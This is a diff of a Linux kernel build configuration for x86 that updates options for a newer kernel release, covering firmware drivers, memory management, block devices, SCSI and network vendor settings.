CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set @@ -458,9 +474,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set CONFIG_ACPI_CONFIGFS=y +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -484,6 +502,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -514,58 +534,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -CONFIG_FIRMWARE_MEMMAP=y -# CONFIG_DMIID is not set -CONFIG_DMI_SYSFS=y -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set -CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_EARLYCON=y -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -580,8 +557,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -593,8 +568,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -603,9 +581,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -616,6 +596,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -627,27 +608,47 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y CONFIG_COMPAT_32BIT_TIME=y CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y @@ -658,7 +659,15 @@ CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -668,6 +677,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -678,21 +689,25 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -CONFIG_UNUSED_SYMBOLS=y +CONFIG_MODPROBE_PATH="/sbin/modprobe" +# CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set # CONFIG_BLK_DEV_THROTTLING is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_CGROUP_IOLATENCY is not set # CONFIG_BLK_CGROUP_IOCOST is not set +# CONFIG_BLK_CGROUP_IOPRIO is not set CONFIG_BLK_DEBUG_FS=y # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -707,6 +722,8 @@ CONFIG_EFI_PARTITION=y CONFIG_BLK_MQ_PCI=y CONFIG_BLK_MQ_VIRTIO=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -747,40 +764,72 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +CONFIG_SWAP=y +# CONFIG_ZSWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y -# CONFIG_SPARSEMEM_VMEMMAP is not set +CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y CONFIG_ARCH_HAS_PKEYS=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set +# CONFIG_GUP_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_ANON_VMA_NAME is not set +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -792,6 +841,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -808,6 +858,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -826,10 +877,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -849,14 +898,15 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y # CONFIG_CGROUP_NET_PRIO is not set # CONFIG_CGROUP_NET_CLASSID is not set CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -871,8 +921,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -883,7 +933,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -918,6 +967,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -955,6 +1006,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -964,6 +1016,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -974,6 +1027,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -993,9 +1047,55 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_EARLYCON=y +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -1013,14 +1113,10 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1028,13 +1124,14 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_ATA_OVER_ETH is not set CONFIG_VIRTIO_BLK=y # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # CONFIG_NVME_TARGET is not set # end of NVME Support @@ -1058,9 +1155,9 @@ CONFIG_VIRTIO_BLK=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1089,21 +1186,21 @@ CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y CONFIG_RAID_ATTRS=y +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y CONFIG_SCSI_PROC_FS=y @@ -1115,6 +1212,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set CONFIG_SCSI_CONSTANTS=y CONFIG_SCSI_LOGGING=y @@ -1151,19 +1249,16 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set -CONFIG_MEGARAID_NEWGEN=y -CONFIG_MEGARAID_MM=m -CONFIG_MEGARAID_MAILBOX=m +# CONFIG_MEGARAID_NEWGEN is not set # CONFIG_MEGARAID_LEGACY is not set -CONFIG_MEGARAID_SAS=m +# CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1172,8 +1267,7 @@ CONFIG_MEGARAID_SAS=m # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -CONFIG_SCSI_GDTH=m -CONFIG_SCSI_ISCI=m +# CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set @@ -1189,11 +1283,7 @@ CONFIG_SCSI_ISCI=m # CONFIG_SCSI_PMCRAID is not set # CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_VIRTIO is not set -CONFIG_SCSI_DH=y -# CONFIG_SCSI_DH_RDAC is not set -# CONFIG_SCSI_DH_HP_SW is not set -# CONFIG_SCSI_DH_EMC is not set -# CONFIG_SCSI_DH_ALUA is not set +# CONFIG_SCSI_DH is not set # end of SCSI device support CONFIG_ATA=y @@ -1210,6 +1300,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 CONFIG_SATA_AHCI_PLATFORM=y +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1281,12 +1372,6 @@ CONFIG_NET_CORE=y # CONFIG_VIRTIO_NET is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1298,21 +1383,23 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1331,24 +1418,28 @@ CONFIG_IGB=m # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1356,9 +1447,9 @@ CONFIG_IGB=m # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set @@ -1366,6 +1457,7 @@ CONFIG_IGB=m # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1373,6 +1465,7 @@ CONFIG_IGB=m # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1384,26 +1477,28 @@ CONFIG_IGB=m # CONFIG_SLIP is not set # CONFIG_USB_NET_DRIVERS is not set # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1437,6 +1532,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1474,7 +1570,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y 